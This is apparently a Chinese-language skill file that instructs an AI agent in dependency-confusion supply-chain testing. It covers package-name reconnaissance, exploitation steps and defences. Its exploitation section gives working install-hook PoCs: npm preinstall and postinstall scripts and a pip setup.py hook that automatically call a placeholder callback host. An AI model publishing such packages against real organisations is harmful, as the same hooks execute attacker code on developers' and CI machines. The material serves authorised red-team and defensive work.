通过包管理器依赖混淆(Dependency Confusion)开展供应链安全测试:当内部私有包名被解析到攻击者控制的公共注册表时,会导致恶意代码被安装并执行脚本。适用于 npm/pip/gem/Maven/Composer/Docker 等配置清单(manifest)审查及获授权的红队供应链演练。
SKILL: Dependency Confusion — Supply Chain Attack Playbook
AI 加载指令:精通依赖混淆(Dependency Confusion)测试方法论。涵盖内部私有包名泄漏途径、公共注册表如何在版本解析中“抢占”优先权、各语言生态下的踩坑点(npm scope 作用域、pip extra-index-url、Maven 仓库解析顺序)、侦察命令、无害化 PoC 模式(仅反向回调/Callback,绝不外排敏感数据)以及防御加固手段。当涉及到配置文件清单(Manifest)或 CI 缓存时,可结合供应链侦察工作流协同使用。仅限在已获得授权的系统与目标上进行测试。
0. QUICK START
优先排查项
- 配置清单文件:列出了看起来像内部私有包的名称(如未加作用域的短名称、组织专属前缀、产品代号),且未设置硬性的私有注册表锁定。
- 同名抢注风险:有迹象表明在公共注册表上可能存在(或可被抢注)相同包名,且版本号(semver)高于私有源发布的版本。
- Lockfile 锁定文件:缺失、陈旧或未在 CI 中强制校验,导致
install/build过程偏向公共源的元数据。
核心逻辑简记:如果包解析器能同时看到私有源和公共源,且版本匹配范围允许,那么版本号“最新”的包极有可能就是攻击者投放的恶意外包。
路由提示:如果任务源自供应链安全、代码库泄漏排查或 CI 构建侦察,请优先调用 recon-for-sec 梳理内部包名并排查公共注册表碰撞风险。
1. CORE CONCEPT
- 私有包:企业仅在内部注册表(或特定命名约定下)发布内部库,例如带有 Scope 作用域的名称
@org-scope/internal-utils,或未加作用域的普通名称acme-billing-sdk。 - 攻击者抢注包名:攻击者在公共注册表(如 npmjs、PyPI、RubyGems 等)上发布同名包。
- 解析器偏好机制:许多包管理器的默认逻辑是在所有已配置的源中检索并优先拉取最高匹配版本(或合并元数据)。只要版本范围允许,公共源上的
9.9.9就能轻松击败私有源上的1.2.3。 - 代码执行:包管理器会自动触发生命周期脚本(如 npm 的
preinstall/postinstall、setuptools 的入口点脚本等)→ 导致攻击者代码在开发者本地、CI 构建环境或生产镜像构建过程中被直接执行。
此类问题属于典型的供应链漏洞:往往隐蔽性极强(直到构建或运行时钩子触发才露馅),且影响面极广(所有下游依赖方全盘中招)。
2. AFFECTED ECOSYSTEMS
| 生态 | 典型配置清单 | 混淆利用点 |
|---|---|---|
| npm | package.json |
如果组织在注册表上拥有该 Scope 作用域,带 Scope 的包(@scope/pkg)安全性更高;未带 Scope 的私有包名属于高风险区。此外,多注册表配置错误、.npmrc 中默认 registry 与单 Scope 的 @scope:registry= 冲突也会推高风险。 |
| pip | requirements.txt, pyproject.toml, setup.py |
pip install -i / --extra-index-url 会合并多个索引源的数据;针对同一个 distribution 名称,公共源如果版本号更高就会被优先选用。 |
| RubyGems | Gemfile |
source 的配置顺序及额外 source 源;公共 rubygems.org 上存在同名的歧义 Gem 包。 |
| Maven | pom.xml |
Repository 仓库的声明顺序及 mirror 镜像配置;若策略允许,公共仓库中发布的高版本同名 groupId:artifactId 会抢占成功。 |
| Composer | composer.json |
默认拉取 Packagist;私有包若缺乏 repositories / canonical 约束,容易与公共包名碰撞。 |
| Docker | FROM, 镜像 Tag |
容器镜像仓库(如 Docker Hub)上的拼写抢注(Typosquatting),攻击者发布与内部基础镜像名称极为相似的镜像。 |
3. RECONNAISSANCE
内部包名泄露途径
- 代码库或 Fork 分支中提交的
package.json、requirements.txt、Gemfile、pom.xml、composer.json。 - JavaScript source map、打包后的静态资源,或报错堆栈日志(Stack Trace)中引用的包路径。
.npmrc、.pypirc以及 CI 构建日志中暴露的安装 URL 或镜像源地址。- Issue 追踪系统、Gist 代码片段,以及 SBOM(软件物料清单)导出报告中的依赖拓扑图。
检查公共源抢注/可注册状态(仅读操作)
# npm — 查看未加 Scope 的包元数据
npm view some-internal-package-name version
# npm — 查看带 Scope 的包版本历史(需保证 Scope 存在或可读)
npm view @some-scope/internal-lib versions --json
# PyPI — 模拟测试版本探测(替换为目标包名;若不存在则报错)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
# RubyGems — 远程查询包名
gem search '^some-internal-package-name$' --remote
# Maven Central — 查询坐标(示例模式)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
路由提示:梳理完包名后,仅在获得授权的环境中考虑开展 PoC 测试;公共注册表查询本身通常属于无害的被动侦察。
4. EXPLOITATION
授权测试流程
- 在目标解析器可访问的公共注册表上,注册(或使用可控命名空间)相同的包名。
- 在受害者声明的版本范围约束内,发布一个**更高版本号(semver)**的包(例如内部是
^1.0.0,可在公共源发布9.9.9)。 - 添加生命周期 Hook 钩子,用于证明代码被成功执行且不对主机造成伤害——推荐向你自己控制的接收端发送 DNS/HTTP Callback 回调,切勿进行任何破坏性写入操作。
npm package.json — 最简 Callback 回调示例(示意)
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}
npm package.json — Shell + curl 回退方案(示意)
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}
pip — setup 钩子模式(示意;仅限授权实验环境包)
# setup.py (节选)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
参考实现(学习/实验室环境):社区常见的 PoC 结构与工作流可参考 0xsapra/dependency-confusion-exploit —— 实现版本号自动递增、发布及 Callback 收到后的验证,且必须仅在获得明确书面授权的前提下使用。
5. TOOLS
| 工具 | 作用 |
|---|---|
| visma-prodsec/confused | 扫描配置清单文件,排查其中是否存在可能在公共注册表上可被抢注的依赖包名(支持多语言生态)。 |
| synacktiv/DepFuzzer | 自动化依赖混淆测试工作流(严禁越界使用,仅限授权项目)。 |
仅针对你自己的配置清单或已获得明确授权的测试项目运行上述工具;切勿滥用这些工具去抢注无关第三方组织的包名。
6. DEFENSE
- npm:优先使用带 Scope 作用域的包(
@org-scope/pkg),并确保组织在公共注册表上已拥有该 Scope 账号;妥善配置.npmrc,将私有 Scope 明确映射到私有注册表,防止默认registry将私有包名隐式请求到公共源。 - 版本锁定(Pinning):使用精确版本号并在 CI 环境中强制校验 Lockfile(如
package-lock.json、poetry.lock、Gemfile.lock、composer.lock)。 - pip:避免盲目使用
--extra-index-url;推荐使用具备镜像代理能力的单一私有源,或在 CI 构建中显式指定--index-url规则。 - Maven / Gradle:严格控制仓库解析顺序(Repository Order),使用内部镜像源(Internal Mirror),并在发布流水线中拦截未知的 groupId。
- Composer:对私有包配置
repositories并开启canonical: true;校验 Packagist 确保不会引入未知的 Vendor 供应商。 - 防御性抢注(Defensive Registration):在合规政策允许的前提下,主动在公共注册表上预留/抢注内部私有包名。
- 持续监控:接入 Socket.dev、Snyk 等 SBOM / 供应链安全扫描工具,一旦关键依赖包出现新发布者(Publisher)或异常版本大跳水/骤升时及时告警。
7. DECISION TREE
配置清单中引用的包名在全局范围内是否存在非唯一的可能性?
├─ 否 → 仅凭命名不太可能发生依赖混淆;可转为排查拼写抢注(Typosquatting)或账号被劫持风险。
└─ 是
├─ 私有注册表是否为该包名的唯一来源(使用了 Scope + .npmrc / 单一索引 / 镜像源)?
│ ├─ 是 → 风险较低;但仍需确认 CI 及开发者本地配置未被强行覆盖。
│ └─ 否 → 高风险(HIGH RISK)
│ ├─ 公共注册表能否在声明的版本范围内发布更高版本号?
│ │ ├─ 是 → 在授权测试中视为可利用漏洞;使用 Callback 回调 PoC 进行验证。
│ │ └─ 否 → 排查预发布版本 Tag(pre-release tags)、本地 `file:` 依赖以及陈旧的 lockfile。
│ └─ CI 中是否已禁用/拦截生命周期脚本?(能降低危害,但无法消除被抢注风险)
Related routing
- 来自
recon-for-sec:在开展供应链信息收集时,在提出任何包发布或 PoC 验证步骤之前,请先将泄露的配置清单与内部包标识符同第 3 节的检查项及第 7 节的决策树进行交叉比对。






